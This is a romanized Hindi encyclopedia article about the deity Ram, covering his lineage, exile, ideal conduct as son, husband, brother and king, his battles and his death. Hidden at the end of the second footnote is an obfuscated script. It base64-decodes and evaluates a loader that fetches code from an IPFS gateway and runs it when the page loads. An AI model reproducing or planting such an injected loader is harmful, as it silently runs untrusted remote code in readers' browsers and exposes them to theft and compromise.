राम
ram
| |
| any nam | maryada purushottam |
| avatar | vishnu |
| vansh-gotr | ikshvaku |
| kul | raghukul |
| pita | dasharath |
| mata | kaushalya |
| janm vivaran | ramanavami |
| parijan | sumitra, kaikeyi, lakshman, bharat, shatrughn |
| guru | vasishth, vishvamitr |
| vivah | sita |
| santan | lav, kush |
| shasan-rajy | ayodhya |
| sandarbh granth | ramayan |
| prasiddh ghatanaean | vanavas, bharat milap, sita haran, ravan vadh, sita ki agni pariksha |
| mrityu | sarayoo nadi mean lin hue |
| yashakirti | maryada purushottam, pitri bhakt |
| apakirti | sita tyag, bali vadh, shambook vadh |
| sanbandhit lekh | ram, ramayan, chalisa, arati |
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maryada purushottam bhagavan shriram hindoo dharm mean vishnu ke 10 avataroan mean se ek haian. ram ka jivanakal evan parakram, maharshi valmiki dvara rachit, sanskrit mahakavy ramayan ke roop mean likha gaya hai. unake upar tulasidas ne bhakti kavy shri ramacharitamanas racha tha. khas taur par uttar bharat mean ram bahut adhik poojyaniy mane jate haian. ramachandr hindutvavadiyoan ke bhi adarsh purush haian. ram, ayodhya ke raja dasharath aur rani kaushalya ke sabase b de putr the. ram ki patni ka nam sita tha (jo lakshmi ka avatar mani jati hai) aur inake tin bhaee the, lakshman, bharat aur shatrughn. hanuman, bhagavan ram ke, sabase b de bhakt mane jate haian. ram ne rakshas jati ke raja ravan ka vadh kiya. [[chitr:Ramlila-Mathura-3.jpg|ramajanm, ramalila, mathura|left|thumb]]
maryadapurushottam
anek vidvanoan ne unhean 'maryadapurushottam' ki sanjna di hai. valmiki ramayan tatha puranadi granthoan ke anusar ve aj se kee lakh varsh pahale treta yug mean hue the. pashchaty vidvanh unaka samay eesa se kuchh hi hazar varsh poorv manate haian. apane shil aur parakram ke karan bharatiy samaj mean unhean jaisi lokapooja mili vaisi sansar ke any kisi dharmik ya samajik jananeta ko shayad hi mili ho. bharatiy samaj mean unhoanne jivan ka jo adarsh rakha, sneh aur seva ke jis path ka anugaman kiya, usaka mahatv aj bhi samooche bharat mean akshunn bana hua hai. ve bharatiy jivan darshan aur bharatiy sanskriti ke sachche pratik the. bharat ke koti koti nar nari aj bhi unake uchchadarshoan se anupranit hokar sankat aur asamanjas ki sthitiyoan mean dhairy evan vishvas ke sath age badhate hue karttavyapalan ka prayatn karate haian. unake tyagamay, satyanishth jivan se bharat hi nahian, videshoan ke bhi maiksamoolar, jons, kith, griphith, barannikov adi vidvanh akarshit hue haian. unake charitr se manavata matr gauravanvit huee hai.[1]
jivan parichay
janm
hindoo dharm ke kee tyohar, jaise dashahara aur dipavali, ram ki jivan-katha se jude hue hai. mana jata hai ki ram ka janm prachin bharat mean hua tha. unake janm ke samay ka anuman sahi se nahian lagaya ja saka hai. aj ke yug mean ram ka janm, ramanavami ke roop mean manaya jata hai. ram char bhaeeyo mean se sabase b de the, inake bhaiyo ke nam lakshman, bharat aur shatrughn the. ram bachapan se hi shant svabhav ke vir purush the. unhhone maryadaoan ko hamesha sarvochhch shthan diya tha. isi karan unhean maryada purushottam ram ke nam se jana jata hai. unaka rajy nhyayapriy aur khushahal mana jata tha, isalie bharat mean jab bhi suraj ki bat hoti hai, ramaraj ya ramarajy ka uddharan diya jata hai. dharm ke marg par chalane vale ram ne apane tino bhaiyoan ke sath guru vasishth se shiksha prapht ki.
ram ke bachapan ki vistar-poorvak vivaran svami tulasidas ki ramacharitamanas ke balakand se milati hai. raja dasharath ke tin raniyaan thiah kaushalya, sumitra aur kaikeyi. ram kaushalya ke puhtr the, sumitra ke do puhtr, lakshman aur shatrughn the aur kaikeyi ke puhtr bharat the. kaikeyi chahati thi unake puhtr bharat raja banean, isalie unhoanne ram ko, dasharath dvara 14 varsh ka vanavas dilaya. ram ne apane pita ki ajna ka palan kiya. ram ki patni sita, aur unake bhaee lakshman bhi vanavas gaye the.[1]
[[chitr:Ramayana.jpg|thumb|left|ramayan]]
roop aur sauandary
apani chhavi aur kaanti se aganit kamadevoan ko lajjit karane vale ram ke sauandary ka varnan bhi ramayanadi granthoan mean yathesht matra mean paya jata hai. tulasi ke ramacharitamanas mean to sthal sthal par is tarah ke vivaran bhare p de haian. raja janak jab vishvamitr muni se milane ge to vahaan ram ki suandar chhavi dekhakar vah apani sudh vudh hi bhool ge, ve sachamuch hi videh ho ge. uke alaukik sauandary ka yahaan tak prabhav p da ki 'barabas brahm sukhahian man tyaga.' janak ki pushpavatika mean sita ki ek sakhi ne ram ko jab dekha to vah bhauanchak rah gee. sita ke nikat akar vah keval itana hi kah saki 'syam gaur kimi kahauan vakhani, gira anayan nayan binu bani.' unake aang pratyang ka jo varnan kiya gaya hai, vah advitiy hai. makhabhoomi mean tatha vivahamandap mean bhi ram ke nakhashikh ka aisa hi suandar varnan manas mean diya gaya hai. samany logoan ki to bat hi kya, parashuram jaise durdharsh vir ko bhi ram ke alaukik sauandary ne hakka bakka bana diya. ve nirnimesh netroan se unhean dekhate rah ge. aisa hi ek prasang us samay aya jab khar dooshan ki sena ke vir ram ka roop dekhakar hathiyar chalana hi bhool ge. unake neta ko svikar karana p da ki apane jivan mean aj tak hamane aisa sauandary kahian dekha nahian, isalie 'yadyapi bhagini kinh kuroopa, vadh layaq nahian purush anoopa.'[1]
adarsh charitr
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any sambandhit lekh |
ram ke charitr mean bharat ki sanskriti ke anuroop parivarik aur samajik jivan ke uchchatam adarsh pae jate haian. unamean vyaktitvavikas,lokahit tatha suvyavasthit rajyasanchalan ke sabhi gun vidyaman the. unhoanne dinoan, asahayoan, santoan aur dharmashiloan ki raksha ke lie jo kary kie, acharavyavahar ki jo paranpara qayam ki, seva aur tyag ka jo udaharan prastut kiya tatha nyay evan saty ki pratishtha ke lie ve jis tarah anavarat prayatnavanh rahe, jisase unhean bharat ke jan-jan ke manas mandir mean atyant pavitr aur uchch asan par asin kar diya hai.[1]
adarsh putr
ram ke parakram sauandary se bhi adhik vyak prabhav unake shil aur achar vyavahar ka p da jisake karan unhean apane jivanakal mean hi nahian, varanh anuvarti yug mean bhi aisi lokapriyata prapt huee jaisi virale hi kisi vyakti ko prapt huee ho. ve adarsh putr, adarsh pati, snehashil bhrata aur lokasevanurakt, kartavyaparayan raja the. mata pita ka ve poorn samadar karate the. [[chitr:Hanuman-Ram-Laxman.jpg|thumb|hanuman, ram aur lakshman ko le jate hue|left]]prat: kal uthakar pahale unhean pranam karate, phir nityakarm snanadi se nivritt hokar unaki ajna grahan kar apane kam kaj mean jut jate the. vivah ho jane ke bad raja ne unhean yuvaraj banana chaha, kiantu manthara dasi ke bahakane se vimata kaikeyi ne jab unhean 14 varsh ka vanavas dene ka var raja se maanga to virodh mean ek shabd bhi n kahakar ve turantavan jane ko taiyar ho ge. unhoanne kaikeyi se kaha 'sun janani soi sut b d bhagi, jo pitri matu vachan anuragi.' valmiki ke anusar ram ne yahaan tak kah diya ki diya ki 'raja yadi agni mean koodane ko kahean to koodooanga, vish khane ko kahean to khaooanga.' nidan samast rajavaibhav, uttuang prasad aur bahumooly vastrabhooshanoan ka parityag kar lakshman tatha sita ke sath ve saharsh van ke lie chal p de. jane ke pahale unhoanne guru se kahalakar brahmanoan tatha vidvanoan ke varshashan ki vyavastha kara di aur bharat ke lie sandesh diya ki 'niti n tajahian rajapad paye'. pita aur mataoan ki sukh suvidha ka dhyan rakhane ki prarthana purajanoan hitechchhuoan se karate hue unhoanne kaha
'soi sab bhaanti mor hitakari, jate rahaian bhual sukhari' tatha 'matu sakal more virah jehi n hoyan dukhadin, so upay tum karah sab purajan praja pravina'
adarsh pati
[[chitr:Rama-Sita-Lakshmana-In-The-Forest.jpg|thumb|250px|jangal mean ram, sita aur lakshman]] ram janate the ki sita atyant sukumar haian at: unhoanne unhean ayodhya mean hi rahane ko bahut samajhaya par jab ve nahian manian tab unhoanne unhean apane sath le liya aur garmi, varsha, thakan adi ka barabar dhyan rakhate hue sahriday, snehi pati ke roop mean unhean bharasak koee kasht nahian hone diya.
adarsh bhaee
ram ne apane chhote bhaee lakshman ko bhi pita, mata or b de bhaee ka anurag dekar is tarah apyayit karate rahe ki unhean ayodhya tatha parijanoan ke viyogaka du:kh tanik bhi khalane nahian paya. meghanad ke shaktiban se lakshman ke ahat hone par ram ko marmaantak pi da huee aur ve phoot phootakar ro p de. nari ke pichhe bhaee ka pran jane ki ashanka se unhean b di glani huee. dhairyavanh hote hue bhi ve is samay param vyakul ho uthe. kiantu tabhi sanjivani booti lekar hanuman ke laut ane se kisi tarah lakshman ki pranaraksha ho saki. bharat par bhi ram ka aisa hi sneh unaki sadhuta evan nishchhalata par ram ka poora vishvas tha. isi se bharat bhi unaka poorn samadar karate the aur sarvada unaki ajna ka palan karate the. bharat jab inhean laut lane ke lie chitrakoot pahuanche tab ram ne unhean saty aur kartavyanishtha ka upadesh dete hue b de prem se samajhaya aur sahare ke lie apani kh dauan dekar sahridayatapoorvak vida kiya. vanavas ki avadhi bitane mean keval ek din shesh rahane par bharat ki dasha ka smaran kar ram atyant vyakul ho uthe aur unhoanne vibhishan se pushp viman ki yachana ki, jisase ve yathasamay ayodhya pahuanch sakean. [[chitr:Ramlila-Mathura-13.jpg|thumb|ram, lakshman, bharat aur shatrughn ke vesh mean ramalila kalakar, ramalila, mathura|left]] ram ke inhian gunoan ke karan samast ayodhyavasi aur pashupakshi tak unamean anurakt the. vanavas ke lie prasthan karane par bhari sankhya mean log tamasa nadi tak unake sath sath dau d ge. ram ko adhi rat ke samay unhean sote chho dakar luk chhipakar vahaan se kooch kar dena p da. jagane par logoan ko b da pachhatava hua. atyant du:khit hokar ve ayodhya laut ae vanavas ki avadhi bhar ram ki mangalakamana ke uddeshy se nemavrat, devopasana adi karate rahe. udhar nav mean baithakar ram ke ganga par chale jane par sumantr moorchhit ho gaya aur usake rath ke gho de bhi ramaviyog mean vyakul ho uthe. us samay yadi koee vyakti ram lakshman ka namollekh kar deta tha to ve pashu vispharit netroan se usaki or dekhane lagate the-'je kahi ramalakhan vaidehi, hikari hikari pashu chitavahian tehi.' pita dasharath ne to pahale hi kah diya tha ki ram ke bina mera jina sanbhav nahian, aur yahi hua bhi. mata kaushalya ko is bat ka utana du:kh n tha ki ram van gaman ki bat sunakar bhi meri vajr ki chhati vidirn nahian huee, jitani unhean is bat ki glani thi ki ram jaise ajnakari, sushil putr ki mujh jaisi mata huee. matibhram se poorv kaikeyi ka bhi ram se poorn vishvas tha. isi se unake rajyabhishek ki bat sunakar usane prasannata karate hue kaha tha :
rame va bharate vahan visheshan nopalakshaye.
tasmattrishtasmi yadraja raman rajyeabhishekshyati.[1]
adarsh raja
ram praja ko har tarah se sukhi rakhana raja ka param kartavy manate the. unaki dharana thi ki jis raja ke shasan mean praja du:khi rahati hai, vah nrip avashy hi narak ka adhikari hota hai. janakalyan ki bhavana se hi unhoanne rajy ka sanchalan kiya, jisase praja dhanadhany se poorn, sukhi, dharmashil evan niramay ho gee-'prahrisht mudito lokastusht: pusht: sudharmik:. niramayo hyarogashch durbhikshabhayavarjit:.'
- tulasidas ne bhi ramacharitamanas mean ramarajy ki vishad charcha ki hai. lokanuranjan ke lie ve apane sarvasv ka tyag karane ko tatpar rahate the. isi se bhavabhooti ne unake ke muanh se kahalaya hai
[[chitr:Ramlila-Mathura-7.jpg|thumb|ram-ravan yuddh ramalila, mathura|250px]]
'snehan dayaan ch saukhyan ch, yadi va janakimapi.
aradhanay lokasy muanchatonasti me vyatha'.
arthath 'yadi avashyakata huee to janaki tak ka parityag maian kar sakata hooan.' prajanuranjan ke lie itana b da tyag karane par unhean kitani marmaantak vyatha huee, sita-virah-katar hokar kis tarah ve mumoorshuvath ho ge, isaka atyant karunotpadak chitran mahakavi bhavabhooti ki kushal lekhani ne 'uttararamacharit' mean kiya hai.[1]
mahaparakrami yoddha
ram advitiy mahapurush the. ve atuly balashali, sauandaryanidhan tatha uchch shil ke vyakti the. kishoravastha mean hi unhoanne dharmik anushthanoan mean rat vishvamitr muni ke paritranarth ta daka aur subahu rakshas ka vadh kiya. raja janak ki svayanvar sabha mean unhoanne shiv ka vah vishal dhanush anayas hi to d dala jisake samane b de b de virapuangavoan ko bhi natamastak hona p da tha. dandak van mean shoorpanakha ke bh dakane se jab khar, dooshan, trishiradi ne unhean charoan or se gher liya to akele hi yuddh karate hue unhoanne tho de samay mean hi unaka vinash kar dala. kishkiandha mean ek hi ban se ram ne sat talavrikshoan ka chhedan kar diya aur bad mean b de bhaee ke tras se utpi dit sugriv ki raksha ke lie bali jaise mahaparakrami yoddha ko bhi dharashayi kar diya. lanka mean ravan, kuanbhakarn adi se hua unaka yuddh to parakram ki parakashtha ka aisa udaharan hai jisaki misal anyatr kathinaee se hi milegi.[1]
paramadham
jab prabhu shriram, bharat aur shatrughn ne sarayoo nadi ke 'gopratar ghat' par vishnu svaroop mean pravesh kiya to unake sath gaya samast samooh, arthat rakshas, manuj, richh, pakshi, vanar aur yashasvi v mahanh manushy adi sabhi ko prabhu ka paramadham mila. brahmaji ye sab dekhakar bahut ahladit hue aur apane dham ko chale ge.[2]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 1.4 1.5 1.6 tripathi, ramaprasad “khand 10”, hindi vishvakosh (hindi). bharatadiskavari pustakalay: nagari pracharini sabha varanasi, prishth sankhya- 97.
- ↑ hans aur mahakavy (hindi). . abhigaman tithi: 10 mee, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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